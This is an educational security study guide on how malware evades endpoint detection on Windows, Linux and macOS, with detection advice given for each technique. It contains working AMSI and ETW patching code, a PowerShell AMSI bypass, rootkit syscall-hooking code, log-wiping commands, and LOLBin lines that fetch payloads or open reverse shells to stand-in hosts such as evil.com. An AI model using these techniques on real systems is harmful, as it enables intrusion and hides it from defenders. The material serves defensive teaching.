Security Notes
Malware & Exploitation

How Malware Hides from EDR

EDR evasion techniques are deeply OS-specific because each platform exposes different telemetry sources, uses different hooking mechanisms, and has different security primitives. This document is organized per OS.

53 min read 9 sections 19 model answers
Memory hook

almost every evasion technique attacks one of EDR's sensors; the defense is "don't depend on one sensor." EDR sees the world through a handful of vantage points: userspace inline hooks (patches in ntdll), kernel callbacks, ETW, AMSI, and file/network filters. Map any evasion to the sensor it blinds: unhooking / direct & indirect syscalls defeat the userspace hooks; ETW patching and AMSI patching blind those two scanners; LOLBins hide inside trusted, already-allowed binaries so nothing malicious is dropped at all. The unifying defender lesson — and the best interview answer — is that attackers blind whatever single sensor they can reach, so resilient detection correlates across sensors the attacker can't all blind at once (kernel callbacks + ETW-TI + behavioral context), and treats the silence of a normally-chatty source as a signal in itself. (Full defender view: endpoint-detection.md.)


Windows EDR Evasion

How Windows EDR Sees the World

Windows EDR Telemetry Sources:
  ├── Kernel callbacks
  │   ├── PsSetCreateProcessNotifyRoutine   — process create/exit
  │   ├── PsSetLoadImageNotifyRoutine       — DLL/image loads
  │   └── CmRegisterCallback                — registry changes
  ├── ETW (Event Tracing for Windows) providers
  │   ├── Microsoft-Windows-Threat-Intelligence  — process injection events
  │   ├── Microsoft-Windows-Kernel-Process
  │   └── Microsoft-Windows-Security-Auditing
  ├── AMSI (Antimalware Scan Interface)
  │   └── scans PowerShell, VBScript, .NET, JScript before execution
  ├── Userspace inline hooks
  │   └── JMP patches at start of ntdll.dll / kernel32.dll / kernelbase.dll exports
  ├── Minifilter drivers (IRP_MJ_CREATE, IRP_MJ_WRITE on file I/O)
  ├── Windows Filtering Platform (WFP) — network callouts
  └── WMI activity subscriptions

The key insight: Windows EDRs primarily work via userspace hooks and kernel callbacks. Bypass strategies attack either layer.


W-1. Process Injection

All injection techniques share a goal: run attacker code inside a legitimate process to inherit its trust context and blend network traffic.

Classic DLL Injection

1. OpenProcess(PROCESS_ALL_ACCESS, target_pid)
2. VirtualAllocEx        → allocate RW memory in target
3. WriteProcessMemory    → write DLL path string
4. CreateRemoteThread(LoadLibraryA, dll_path_addr)  → target loads DLL

EDR detectionOpenProcess with PROCESS_VM_WRITE|PROCESS_CREATE_THREAD is a high-fidelity signal. The four-function chain is a well-known signature. ETW Microsoft-Windows-Threat-Intelligence provider fires on this.

Process Hollowing (RunPE)

1. CreateProcess("svchost.exe", CREATE_SUSPENDED)
2. NtUnmapViewOfSection → remove the legitimate image from virtual address space
3. VirtualAllocEx       → map malicious PE at preferred base address
4. WriteProcessMemory   → write headers + sections
5. SetThreadContext      → redirect EIP/RIP to malicious entry point
6. ResumeThread

Why it evadesProcess name/PID looks like svchost.exe. Network traffic is attributed to that PID. Detection: NtUnmapViewOfSection on a newly-created suspended process is unusual. Memory scan shows on-disk PE hash ≠ in-memory PE hash. PE-sieve, HollowsHunter catch this at runtime.

Process Doppelgänging (TxF)

  • Uses Windows Transactional NTFS (TxF): write malicious code to a file inside a transaction, create a section from it, roll back the transaction — file is never committed to disk
  • Maps the section into a new process
NtCreateTransaction()
CreateFileTransacted()          → write malicious PE
NtCreateSection(transacted_file)
NtRollbackTransaction()         → file disappears from disk
NtCreateProcessEx(section)      → new process backed by ghost file

Why it evadesNo file ever exists on disk; file-based AV scans find nothing. Detection: Suspicious sequence NtCreateTransaction → NtCreateSection → NtRollbackTransaction. Detectable via ETW Threat-Intelligence provider; image cannot be mapped back to a committed file.

Early Bird APC Injection

1. CreateProcess("explorer.exe", CREATE_SUSPENDED)
2. VirtualAllocEx + WriteProcessMemory  → shellcode in target
3. QueueUserAPC(shellcode_addr, main_thread)
4. ResumeThread  → APC executes BEFORE thread entry, before TLS callbacks

Why it evadesEDR hooks (loaded via DLL injection into the target) haven't run yet when the APC fires — the process hasn't reached its own entry point. Detection: APC queued to a thread in a just-spawned suspended process before ResumeThread; anomalous APC in Sysmon event traces.

Module Stomping

  • Map a legitimate signed DLL (clrjit.dll, diasymreader.dll) into the target process via MapViewOfFile
  • Overwrite its .text section in memory with shellcode
  • Shellcode executes from within that DLL's virtual address range

Why it evadesThe VAS region is backed by a legitimate file on disk — memory scanning tools that only check named-module ranges are fooled. Detection: Read the mapped region, hash it, compare to on-disk file hash. PAGE_EXECUTE_READWRITE on a named module is an anomaly. PE-sieve compares mapped vs disk content.

Reflective DLL Injection

  • The malicious DLL contains a hand-written loader ("reflective loader") at a known offset
  • Shellcode calls the reflective loader, which:
    1. Parses its own PE headers
    2. Allocates memory and copies sections
    3. Fixes relocations + IAT manually
    4. Never calls LoadLibrary or touches the filesystem

Why it evadesNo LoadLibrary call — hook at kernel32!LoadLibraryA is never triggered. No DLL on disk. Detection: Executable private memory without a corresponding LoadLibraryEx call; scanning for MZ/PE headers in uncommitted private memory.


W-2. API Unhooking

Modern EDRs patch the first 5 bytes of sensitive ntdll.dll exports with a JMP to their own inspection code. Attackers remove or bypass these hooks.

Normal ntdll export (unhooked):
  NtOpenProcess: 4C 8B D1        mov r10, rcx
                 B8 26 00 00 00  mov eax, 0x26
                 0F 05           syscall
                 C3              ret

Hooked by EDR (JMP to EDR's trampoline):
  NtOpenProcess: E9 XX XX XX XX  jmp <edr_hook_handler>
                 ...

Method 1: Direct Syscalls

Skip ntdll entirely — issue the raw syscall instruction with the correct syscall number:

asm
mov r10, rcx
mov eax, 26h        ; NtOpenProcess syscall number (varies by Windows version)
syscall
ret

Tools: SysWhispers2, SysWhispers3 auto-generate these stubs.

Detectionsyscall instruction executing from a memory region that is NOT within the ntdll.dll module mapping (detected via NtQueryVirtualMemory). Some EDRs instrument the syscall instruction in kernel.

Method 2: Hell's Gate / Halo's Gate

  • Walk ntdll exports at runtime and read syscall numbers from the unpatched bytes surrounding the hook
  • Even if the first bytes are patched, the syscall number can be read from adjacent stubs by walking forward/backward

Method 3: Fresh / Clean Copy of ntdll

  • Open \KnownDlls\ntdll.dll (read-only kernel-shared section) or load ntdll directly from C:\Windows\System32\ into a new, unhooked region
  • Re-resolve function addresses against this clean copy

DetectionTwo mappings of ntdll.dll in a process's VAS (one from \KnownDlls, one freshly loaded from disk) is anomalous.


W-3. AMSI Bypass

AMSI allows the EDR/AV engine to scan script content in memory before execution — PowerShell, VBScript, .NET assemblies all pass through it.

Patching AmsiScanBuffer()

c
// amsi.dll exports AmsiScanBuffer(). Patching it makes all scans return AMSI_RESULT_CLEAN.
LPVOID pAmsi = GetProcAddress(LoadLibraryA("amsi.dll"), "AmsiScanBuffer");
VirtualProtect(pAmsi, 6, PAGE_EXECUTE_READWRITE, &oldProtect);
// Patch: XOR EAX,EAX / RET (return 0 = clean) or INT 3 depending on version
*(BYTE*)pAmsi = 0x31; *(BYTE*)(pAmsi+1) = 0xC0;  // xor eax, eax
*(BYTE*)(pAmsi+2) = 0xC3;                          // ret

Reflection-based AmsiContext Corruption (PowerShell)

powershell
# Corrupt the AmsiContext pointer so AMSI calls fail gracefully and fallback to "clean"
$a=[Ref].Assembly.GetTypes()
ForEach($b in $a){if($b.Name -like "*iUtils"){$c=$b}}
$d=$c.GetFields('NonPublic,Static')
ForEach($e in $d){if($e.Name -like "*Context"){$f=$e}}
$g=$f.GetValue($null)
[Runtime.InteropServices.Marshal]::WriteByte($g, 0x06)

Detection

  • PowerShell ScriptBlock logging (Event ID 4104) captures de-obfuscated content before AMSI is called, so even a patched AMSI leaves a PSScriptBlock log entry
  • EDR monitors writes to amsi.dll page via kernel callback
  • Obfuscated AMSI bypass strings are themselves detectable patterns

W-4. ETW Bypass

EDRs subscribe to ETW providers (especially Microsoft-Windows-Threat-Intelligence) to receive injection events, syscall telemetry, and process activity.

Patching EtwEventWrite in ntdll

c
// EtwEventWrite() is called by ETW providers to submit events.
// Patching it to RET immediately silences all user-mode ETW telemetry.
LPVOID pEtw = GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite");
VirtualProtect(pEtw, 1, PAGE_EXECUTE_READWRITE, &old);
*(BYTE*)pEtw = 0xC3;  // RET

What it killsAll user-mode ETW events from the infected process, including .NET CLR events, WMI events, and security provider telemetry.

DetectionEDR hashes ntdll.dll functions on load and periodically re-checks. A 0xC3 at EtwEventWrite+0 vs expected 4C 8B DC (mov r11, rsp) is an immediate flag.

ETW Session Tampering

  • Abusing ControlTrace() or StopTrace() to suspend or terminate the ETW session consuming security events
  • Requires SeSystemProfilePrivilege — less common but achievable after privilege escalation

W-5. Living-off-the-Land (LOLBins)

Execute malicious code without dropping custom PE files — use signed, trusted Windows binaries.

LOLBinTechniqueMITRE
powershell.exeIEX (New-Object Net.WebClient).DownloadString(url) — download & exec in memoryT1059.001
mshta.exemshta http://evil.com/payload.hta — executes remote HTML ApplicationT1218.005
regsvr32.exeSquiblydoo: /s /n /u /i:http://evil/payload.sct scrobj.dll — scriptlet via COMT1218.010
rundll32.exerundll32 evil.dll,Main — execute exported DLL functionT1218.011
certutil.exe-decode payload.b64 payload.exe or -urlcache -split -f downloadT1105
bitsadmin.exebitsadmin /transfer /download http://evil/file.exeT1197
wmic.exewmic process call create "powershell ..." — spawn child process indirectlyT1047
msiexec.exe/q /i http://evil/payload.msi — remote MSI executionT1218.007
installutil.exeExecute .NET assembly via ISubscription — bypasses AppLockerT1218.004
wscript.exe / cscript.exeRun VBScript / JScriptT1059.005
odbcconf.exeREGSVR dll_path — load COM DLLT1218.008
xwizard.exeCOM object instantiation to load a DLLT1218

Referencehttps://lolbas-project.github.io/

DetectionSuspicious parent-child chains (Word → cmd → powershell); encoded -EncodedCommand; Sysmon Event ID 1 (process create) with CommandLine matching these patterns; network connections from non-browser processes.


W-6. Token Manipulation

Windows access tokens encode a thread's/process's security context (privileges, SIDs, groups).

c
// Impersonate a SYSTEM-level token: steal from a SYSTEM process
OpenProcessToken(hSystemProcess, TOKEN_DUPLICATE, &hToken);
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hNewToken);
ImpersonateLoggedOnUser(hNewToken);    // or CreateProcessWithTokenW() for a new process

Why it mattersPrivilege escalation without exploiting a kernel bug — just abusing Windows impersonation semantics. Used in post-exploitation frameworks (Cobalt Strike token::impersonate, Metasploit getsystem).

Variants

Token impersonation

thread borrows a token

Token theft via SeDebugPrivilege

debug any process → open its token

UAC bypass

use token of a trusted auto-elevate process

DetectionSysmon Event ID 10 (process access with DesiredAccess = 0x1400); anomalous ImpersonateLoggedOnUser following process handle open.


W-7. PPL (Protected Process Light) Bypass

LSASS runs as a PPL to prevent credential dumping. PPL processes can only be opened by other PPL processes or the kernel.

BypassLoad a vulnerable signed kernel driver that removes the _PS_PROTECTION flag from LSASS's EPROCESS struct in kernel memory. The driver is signed (passes Driver Signature Enforcement) but has a local privilege escalation bug.

Famous example: PPLKiller using RTCore64.sys (Micro-Star MSI Afterburner driver, CVE-2019-16098).

DetectionSysmon Event 6 (driver loaded) for known vulnerable drivers; hash-based block lists in Windows Defender ASR; WDAC (Windows Defender Application Control) policy blocks vulnerable drivers.


W-8. Event Log Tampering

powershell
# Clear specific channels
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# Suspend ETW session feeding Security channel (requires privilege)
logman stop "EventLog-Security" -ets

Gap creationEvent ID gaps (e.g., jump from 4624 at 10:00 to 4648 at 10:45) are forensically significant.

DetectionEvent ID 1102 (Security audit log cleared) or 104 (System log cleared); SIEM alert on log channel size dropping to zero; Windows Remote Event Collection means a copy exists on a collector host.


Linux EDR Evasion

How Linux EDR Sees the World

Linux EDRs don't have a single vendor-controlled hook surface like Windows. They compose multiple kernel interfaces:

Linux EDR / Security Tool Telemetry Sources:
  ├── eBPF programs
  │   ├── kprobes / kretprobes    — attach to any kernel function
  │   ├── tracepoints             — stable kernel instrumentation points
  │   ├── LSM hooks (BPF-LSM)     — security_* hooks (execve, open, socket, etc.)
  │   └── XDP / TC               — network packet processing
  ├── auditd (Linux Audit Framework)
  │   └── syscall audit rules (execve, openat, connect, ptrace, etc.)
  ├── fanotify                    — filesystem events (Falco, some EDRs)
  ├── inotify                     — file/directory watch
  ├── Netlink / proc events       — process lifecycle (fork, exec, exit)
  ├── /proc/<pid>/                — process state, maps, fd, status
  └── Kernel modules (legacy)     — hook sys_call_table or LSM hooks

Key difference from WindowsMany Linux EDRs are eBPF-based (Falco, Tracee, Tetragon). Bypassing them requires either confusing eBPF programs or exploiting verifier bugs. The attack surface is different.


L-1. LD_PRELOAD / Shared Library Hijacking

The dynamic linker resolves symbols at runtime. If an attacker-controlled library is loaded first, it can replace libc functions.

bash
# Global: affects all dynamically linked processes
echo "/tmp/evil.so" > /etc/ld.so.preload

# Per-process (requires execution control)
LD_PRELOAD=/tmp/evil.so /usr/bin/ssh

# What the evil.so does (rootkit)
// Override readdir() to hide files prefixed with "evil_"
// Override getpwent() to hide a backdoor user account
// Override fopen() to prevent reading /etc/shadow

Why it evadesThe EDR's user-space agent may itself be vulnerable if it calls functions that get intercepted. Process lists, file listings all get filtered at the libc level before the EDR reads them.

Detection

bash
# Check for ld.so.preload
cat /etc/ld.so.preload

# Find all LD_PRELOAD in running processes
grep -r LD_PRELOAD /proc/*/environ 2>/dev/null

# Look for libraries not in ldconfig cache
ldconfig -p | grep -v "^[[:space:]]"
# Cross-reference against /proc/<pid>/maps

EDRs that use eBPF with kernel-level hooks (not user-space) are not fooled by LD_PRELOAD.


L-2. LKM Rootkits (Loadable Kernel Module)

A malicious LKM runs in ring 0 with full kernel privileges.

sys_call_table Hooking

c
// 1. Disable write protection on the page containing sys_call_table
write_cr0(read_cr0() & ~0x10000);  // clear WP bit

// 2. Replace pointer to the target syscall
original_getdents = sys_call_table[__NR_getdents64];
sys_call_table[__NR_getdents64] = hooked_getdents64;

// 3. Re-enable write protection
write_cr0(read_cr0() | 0x10000);

// hooked_getdents64: call original, then filter out entries whose names match attacker pattern

Self-hiding from lsmod

c
// Remove the module from the linked list that lsmod traverses
list_del_init(&THIS_MODULE->list);
// Also remove from kobject tree (hides from /sys/module/)
kobject_del(&THIS_MODULE->mkobj.kobj);

What attackers hidefiles, processes, network connections, the rootkit module itself.

Detection

bash
# Compare kernel symbol resolution to expected
sudo cat /proc/kallsyms | grep sys_call_table
# sys_call_table should point into kernel text, not a module
# If address falls in an unusual range → hooked

# Cross-check processes
ps aux vs ls /proc | grep '^[0-9]'
# PIDs in /proc that don't appear in ps = hidden process

# Cross-check network connections
ss -tulpn vs /proc/net/tcp
# Entries in /proc/net/tcp hidden from ss = rootkit hook on getdents/netlink

# Tools
chkrootkit
rkhunter --check --sk

L-3. eBPF-Based Rootkits

Modern attacker technique: use eBPF itself (the EDR's own weapon) for hiding and surveillance.

Examples

bad-bpf

(github.com/pathtofile/bad-bpf): eBPF programs that hide processes, files, network connections at the kernel level

Pamspy

eBPF uprobe on pam_unix.so to steal passwords at PAM authentication

ebpfkit

full attacker toolkit using XDP, tc, kprobe eBPF programs

c
// XDP program that silently drops all packets from a C2 IP, preventing detection of C2 traffic
SEC("xdp")
int drop_c2(struct xdp_md *ctx) {
    // parse IP, if src == c2_ip → XDP_DROP (never reaches the network stack or pcap)
}

// uprobe on pam_unix_auth to capture plaintext passwords
SEC("uprobe//lib/security/pam_unix.so:pam_sm_authenticate")
int steal_pam_auth(struct pt_regs *ctx) {
    // read password argument from register
}

Why it's powerfuleBPF programs run in kernel space. An EDR using only user-space or auditd won't see network connections that are dropped at XDP layer. eBPF rootkits can filter getdents64, openat, read results.

Detection

bash
# List all loaded eBPF programs
bpftool prog list
# Programs with unexpected names or unknown ownership are suspicious

# Check eBPF maps (persistent data)
bpftool map list

# Pin path inspection
ls /sys/fs/bpf/

# Kernel lockdown mode (confidentiality) prevents unprivileged eBPF loading
# CAP_BPF required since Linux 5.8 — limit who has it

Tetragon (Cilium's eBPF security tool) can detect malicious eBPF program loading via its own kernel hooks.


L-4. Fileless Execution via memfd_create

Linux equivalent of "fileless" malware:

c
// Create an anonymous in-memory file (no path in filesystem)
int fd = memfd_create("legit_name", MFD_CLOEXEC);
// Write executable content into it
write(fd, elf_bytes, elf_size);
// Execute it — argv[0] can be anything
fexecve(fd, argv, envp);
// /proc/<pid>/exe will show "/memfd:legit_name (deleted)"

AlternativeWrite shellcode into memory allocated with mmap(PROT_EXEC) and jump to it.

Detection

bash
# Find processes executing from memfd
ls -la /proc/*/exe 2>/dev/null | grep memfd
grep -r "memfd" /proc/*/maps 2>/dev/null

# Falco rule
- rule: Execution from memfd
  condition: spawned_process and proc.exe contains "memfd"
  output: "Process executed from memfd (pid=%proc.pid exe=%proc.exe)"

L-5. /proc Manipulation and Process Hiding

bash
# Remount /proc with bind mounts to shadow specific PID directories
mount --bind /proc/1 /proc/<evil_pid>
# /proc/<evil_pid> now shows init's info instead of the malicious process

# Fork bomb or rapid PID recycling to confuse EDR PID tracking

# Rename process argv[0] via prctl
prctl(PR_SET_NAME, "kworker/0:1H");  // make process look like a kernel worker

Hiding in plain sightNaming malicious processes after kernel worker threads (kworker, kdevtmpfs, migration) is common in crypto miners.

DetectioneBPF tracepoints on sched_process_exec capture the real binary path at exec time, before prctl renaming. Tetragon tracks the binary inode, not just the name.


L-6. Auditd Evasion

If the EDR relies on auditd for syscall visibility:

bash
# Kill or disable auditd (requires root)
auditctl -e 0          # disable auditing entirely
service auditd stop

# Flood the audit log buffer to cause log loss (AUDIT_BACKLOG_LIMIT overflow)
# Generates millions of audit events until kernel drops records with AUDIT_LOST

# Tamper with rules
auditctl -D            # delete all rules

DetectioneBPF-based EDRs (Falco, Tetragon) are independent of auditd and not affected. Monitor for auditctl execution itself. SIEM alert when audit daemon stops.


L-7. Log Tampering

bash
# Clear bash history (avoid utmp/wtmp entries)
unset HISTFILE
export HISTSIZE=0
history -c && history -w

# Overwrite wtmp/utmp (login records)
echo "" > /var/log/wtmp      # breaks 'last' command
echo "" > /var/run/utmp      # breaks 'who' / 'w' command
echo "" > /var/log/lastlog

# Selectively edit auth.log (requires root)
# Remove lines matching attacker's IP or username
sed -i '/192.168.1.100/d' /var/log/auth.log

# Kill syslog to stop new entries
kill $(pgrep rsyslog)

DetectionRemote syslog / SIEM (Splunk, Chronicle, Elastic) receives logs before they can be tampered locally. Auditd rule on writes to /var/log/. Immutable file attributes (chattr +i /var/log/auth.log).


L-8. Linux LOLBins

Attackers use trusted system utilities to download, execute, and escalate — harder to flag than unknown binaries.

LOLBinTechnique
bash / sh/dev/tcp/evil.com/4444 reverse shell without netcat
python3import urllib.request; exec(urllib.request.urlopen(url).read())
perlOne-liner reverse shell
curl / wgetDownload and pipe to shell: curl http://evil/payload | bash
nc (netcat)Reverse shell, bind shell, file transfer
ddRead/write raw disk blocks, copy memory regions
openssl s_clientEncrypted reverse shell bypassing DPI
nmapNetwork scanning, NSE script execution
rsyncFile exfiltration over SSH
socatFull-featured relay; encrypted channels with OpenSSL
awk / sedIn-line script execution for obfuscated payload stages
find-exec for code execution without a shell
xargsPipe-driven execution

Referencehttps://gtfobins.github.io/

DetectionAuditd / eBPF on execve with suspicious argument patterns. Falco rules for shell spawned by curl, network connection from interpreter.


L-9. Linux Timestomping

bash
# Modify all timestamps on a file to match a known-good file
touch -r /bin/ls /tmp/evil_backdoor

# Set specific timestamp
touch -t 202001010000.00 /tmp/evil_backdoor

# syscall level
utimensat(AT_FDCWD, "/tmp/evil_backdoor", times, 0);

DetectionLinux has only one timestamp set (unlike NTFS's $STANDARD_INFO / $FILE_NAME split), making detection harder than on Windows. Indicators:

  • Inode change time (ctime) cannot be changed by touch — it reflects the last metadata modification
  • stat output: if mtime is in 2020 but ctime is 2026 → timestomped
  • Compare inode allocation order vs claimed mtime

macOS EDR Evasion

How macOS EDR Sees the World

macOS's security architecture has changed significantly over the years. Key evolution:

macOS EDR / Security Tool Telemetry Sources:
  ├── Endpoint Security Framework (ESF) — since macOS 10.15 Catalina
  │   ├── ES_EVENT_TYPE_AUTH_EXEC        — intercept + allow/deny exec
  │   ├── ES_EVENT_TYPE_NOTIFY_*         — file, process, network events (notify-only)
  │   └── Requires System Extension (no kernel extensions since macOS 11)
  ├── TCC (Transparency, Consent, Control)
  │   └── Controls access to sensitive data/hardware regardless of EDR
  ├── BSM Audit Framework (/etc/security/audit_control)
  │   └── Syscall-level audit trail (OpenBSM format)
  ├── FSEvents                           — filesystem change notifications
  ├── Unified Logging System (OSLog)    — all subsystem logs, structured
  ├── Network Extension framework       — packet/flow-level network visibility
  └── Santa (Google) / ESF clients      — binary allowlist/blocklist

Critical constraintSince macOS 11, kernel extensions (kexts) are deprecated in favor of System Extensions. This limits ring-0-level rootkits dramatically. Most modern macOS malware operates in user space and must defeat ESF, TCC, and Gatekeeper.


M-1. DYLD_INSERT_LIBRARIES Injection

macOS equivalent of Linux LD_PRELOAD:

bash
# Inject a dylib into any process at launch
DYLD_INSERT_LIBRARIES=/tmp/evil.dylib /Applications/Terminal.app/Contents/MacOS/Terminal

Limitations (Apple's mitigations)

  • Processes with the hardened runtime (com.apple.security.cs.allow-dyld-environment-variables = false by default) ignore DYLD_INSERT_LIBRARIES
  • SIP-protected binaries completely ignore it
  • Notarized apps with hardened runtime can't be injected this way without a separate code signing bypass

Remaining attack surfaceIn-house enterprise apps, development builds, apps that explicitly set com.apple.security.cs.allow-dyld-environment-variables = true (sign themselves with that entitlement).

Detection

bash
# Check for DYLD_INSERT_LIBRARIES in running process environments
sudo lsof -p <pid> | grep dylib   # unexpected dylib paths
ps aux | grep DYLD_INSERT_LIBRARIES
# ESF generates ES_EVENT_TYPE_NOTIFY_MMAP events for dylib loads

M-2. task_for_pid Process Injection

macOS equivalent of OpenProcess — task_for_pid() returns the Mach task port for another process, giving full read/write/execution control.

c
// Request task port of target process
mach_port_t task;
task_for_pid(mach_task_self(), target_pid, &task);

// Allocate memory in target
mach_vm_allocate(task, &addr, size, VM_FLAGS_ANYWHERE);

// Write shellcode
mach_vm_write(task, addr, (vm_offset_t)shellcode, shellcode_size);

// Change protection to executable
mach_vm_protect(task, addr, size, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

// Create remote thread
thread_act_t thread;
thread_create_running(task, ARM_THREAD_STATE64, (thread_state_t)&state, count, &thread);

Mitigations

  • task_for_pid requires the caller to have taskport access or root
  • System Integrity Protection (SIP) blocks task_for_pid against SIP-protected processes
  • The get-task-allow entitlement must be present on the target (only in development builds)
  • Hardened Runtime: targets with hardened runtime + no com.apple.security.cs.debugger entitlement cannot be injected

DetectionESF ES_EVENT_TYPE_NOTIFY_REMOTE_THREAD_CREATE; audit framework syscall for task_for_pid; process with unexpected Mach port sends.


M-3. Dylib Hijacking

macOS uses @rpath, @executable_path, @loader_path — relative dylib search paths. If the first path in the search order is writable, an attacker can plant a malicious dylib there.

bash
# Check an app's dylib search paths
otool -l /Applications/App.app/Contents/MacOS/App | grep -A2 RPATH
# If the first @rpath entry points to a writable directory → hijackable

# Malicious dylib must re-export the original to avoid crashes
# __attribute__((constructor)) runs attacker code on dylib load
__attribute__((constructor))
static void pwn() {
    system("launchctl load ~/Library/LaunchAgents/evil.plist");
}

Detection

  • Check writability of rpath directories: otool -l <binary> + ls -la <rpath_dirs>
  • ESF generates load events for dylibs; unexpected paths trigger alerts
  • Santa blocklist on unsigned dylibs

M-4. Launch Agent / Launch Daemon Persistence

The standard macOS persistence mechanism — and therefore the one malware uses most:

~/Library/LaunchAgents/              ← per-user, runs as current user
/Library/LaunchAgents/               ← all users, runs as current user (requires admin)
/Library/LaunchDaemons/              ← system-wide, runs as root
/System/Library/LaunchDaemons/       ← Apple-only (SIP protected)
xml
<!-- ~/Library/LaunchAgents/com.apple.update.helper.plist -->
<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0"><dict>
  <key>Label</key><string>com.apple.update.helper</string>
  <key>ProgramArguments</key>
  <array><string>/Users/victim/Library/Application Support/.cache/updater</string></array>
  <key>RunAtLoad</key><true/>
  <key>KeepAlive</key><true/>
</dict></plist>

Evasion tricks

  • Label mimics Apple services (com.apple.*)
  • Hidden path (. prefix in Application Support)
  • KeepAlive restarts the payload if killed

Detection

bash
# List all LaunchAgents/Daemons
launchctl list | grep -v com.apple
ls ~/Library/LaunchAgents/
ls /Library/LaunchAgents/ /Library/LaunchDaemons/

# Autoruns equivalent for macOS
brew install --cask knockknock    # BlockBlock / KnockKnock by Objective-See

ESF ES_EVENT_TYPE_NOTIFY_WRITE on LaunchAgent directories.


M-5. XPC Service Exploitation

XPC is macOS's IPC mechanism. Many privileged services expose XPC interfaces without adequate caller validation.

Attack patternFind an XPC service with a powerful entitlement (FDA, network filtering, keychain access) that doesn't properly check the caller's code signing identity.

objc
// Attacker connects to a privileged XPC service
NSXPCConnection *conn = [[NSXPCConnection alloc]
    initWithServiceName:@"com.apple.privileged.service"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(PrivilegedOps)];
[conn resume];
// If the service doesn't check [conn auditToken] or code signing → privilege escalation

Real-world exampleCVE-2026-28910's AUHelperService had FDA entitlement but did not verify the XPC caller — any process could trigger privileged file copy operations. See hardening/macos-hardening.md for full details.

DetectionSecurity audit of XPC interfaces using xpc-snooper, xpcspy; check com.apple.security.app-sandbox entitlement on XPC services and their lack of caller verification.


M-6. Code Signing and Gatekeeper Bypass

Ad-hoc Signing

Any binary can be ad-hoc signed — it gets a - identity. Not trusted by Gatekeeper for downloaded files, but if the file was never quarantined (arrived via non-browser path), it runs.

bash
codesign -s - /tmp/evil_binary   # ad-hoc sign
xattr -d com.apple.quarantine /tmp/evil_binary  # remove quarantine (if attacker can write this)

Misusing Legitimate Developer Certificates

A Developer ID certificate passes Gatekeeper even without notarisation if the user clicks "Open Anyway". Some malware campaigns use stolen or legitimately obtained Developer ID certs.

Entitlement Abuse

Some entitlements are private (Apple-internal) but can be re-signed onto binaries with a root-capable codesign invocation on an SIP-disabled machine. These entitlements grant TCC permissions without user prompts. Post-SIP, this requires SIP bypass first.

Detection

bash
# Check an app's entitlements
codesign -dv --entitlements :- /Applications/Suspicious.app

# Verify notarisation
spctl -a -v /Applications/Suspicious.app
# "source=Notarized Developer ID" = good; "source=unnotarized" = suspicious

# Check quarantine attribute
xattr -l ~/Downloads/suspicious_app.dmg | grep quarantine

M-7. TCC Bypass

TCC controls access to sensitive resources (Full Disk Access, Screen Recording, Camera, etc.) regardless of root privileges. TCC bypasses are therefore high-value.

See hardening/macos-hardening.md for the complete TCC deep dive including:

  • Architecture and bypass technique table
  • CVE-2026-28910 — Archive Utility + com.apple.macl + preference manipulation chain
  • AUHelperService XPC flaw

Summary of bypass categories

CategoryExample
Exploit TCC-entitled processPiggyback on a process that already has FDA (Time Machine, Archive Utility)
com.apple.macl xattr abuseDrag-and-drop grants permanent, irrevocable file access — exploit via symlink or timing
Environment variable injectionInject into a process with TCC entitlements (if hardened runtime disabled)
TCC.db direct writeRequires FDA or SIP bypass to write ~/Library/Application Support/com.apple.TCC/TCC.db
Private entitlement abusecom.apple.private.tcc.allow with an SIP bypass grants TCC permissions without prompts

M-8. macOS LOLBins

Binary          | Technique
----------------|----------------------------------------------------------
osascript       | AppleScript/JXA execution; UI automation; keychain access
curl            | Download payloads; exfiltrate data
python3         | Exec code; C2 channel; crypto; keychain via ctypes
bash / zsh      | /dev/tcp reverse shells; heredoc payload staging
xcodebuild      | Compile and run code; legitimate signing context
open            | Open URLs, files, apps — can trigger URL handlers
security        | Read/write keychain items; dump certificates
ditto           | Copy file hierarchies preserving metadata + xattrs
launchctl       | Load/unload launch agents/daemons (persistence)
defaults        | Read/write preference files (used in CVE-2026-28910)
sqlite3         | Read TCC.db, Safari history, Keychain-related DBs
plutil          | Parse/modify plist files
screencapture   | Take screenshots (needs Screen Recording TCC — attacker may already have it)

DetectionESF ES_EVENT_TYPE_AUTH_EXEC + allowlist; Santa with unknown binary blocks; Unified Log shows command line arguments for all exec events.


M-9. Unified Log Suppression

macOS's Unified Logging System (OSLog / log) centralizes all system and application log messages. EDR tools on macOS rely on it for telemetry.

bash
# Suppress a specific subsystem's log output
sudo log config --subsystem com.apple.security --mode level:off

# Delete persisted log archives (requires SIP disabled or root + specific timing)
sudo rm -rf /var/db/diagnostics/

# Reading logs to find out what's being logged before evading
log stream --predicate 'subsystem == "com.apple.TCC"' --info

Notelog config changes require root, and are logged themselves in /var/db/diagnostics/. Remote log collection (to a SIEM) means local deletion is insufficient.


Cross-Platform: Sandbox & VM Detection

Malware detects analysis environments to delay execution until deployed on real targets.

CheckWindowsLinuxmacOS
Hypervisor flags in CPUIDCPUID EAX=1, ECX bit 31SameSame
VM-specific files/registryHKLM\SOFTWARE\VMware, Inc./dev/vmware_vmmemctl, /sys/class/dmi/id/product_nameIOKit IOPlatformExpertDevice model string
MAC address prefixVMware 00:0C:29, VBox 08:00:27SameSame
Process list checksvboxservice.exe, vmtoolsd.exe, procmon.exevmware-guestd, vboxclientNo common analogue
Username / hostnameSANDBOX, MALTEST, WIN7-ANALYSISsandbox, common analysis hostnamesanalysis, unusual
CPU count1 CPU = sandbox heuristicSameSame
Memory size<2GB RAM = sandboxSameSame
Screen resolution<1024x768 = sandboxN/A (headless Linux typical)Low res = sandbox
Uptime<10 minutes = fresh sandbox bootSameSame
Mouse movementNo input eventsN/ANo input events
Time delaySleep(600000) outlasts most sandbox timeoutssleep 600sleep(600)
Network probeResolve known-good domain; no internet = sandboxSameSame
Artifact countFew recently used files, no browser historyMinimal /homeEmpty user profile
Debugger detectionIsDebuggerPresent(), CheckRemoteDebuggerptrace(PTRACE_TRACEME) returns -1 if being tracedptrace(PT_DENY_ATTACH) / sysctl kern.proc.pid P_TRACED flag

Countermeasures in analysis environmentsSandbox systems artificially inflate tick counts, fake process lists, simulate mouse movement, and patch IsDebuggerPresent. Behavioral detection bypasses time-based delays by accelerating time.


Detection Opportunities Summary

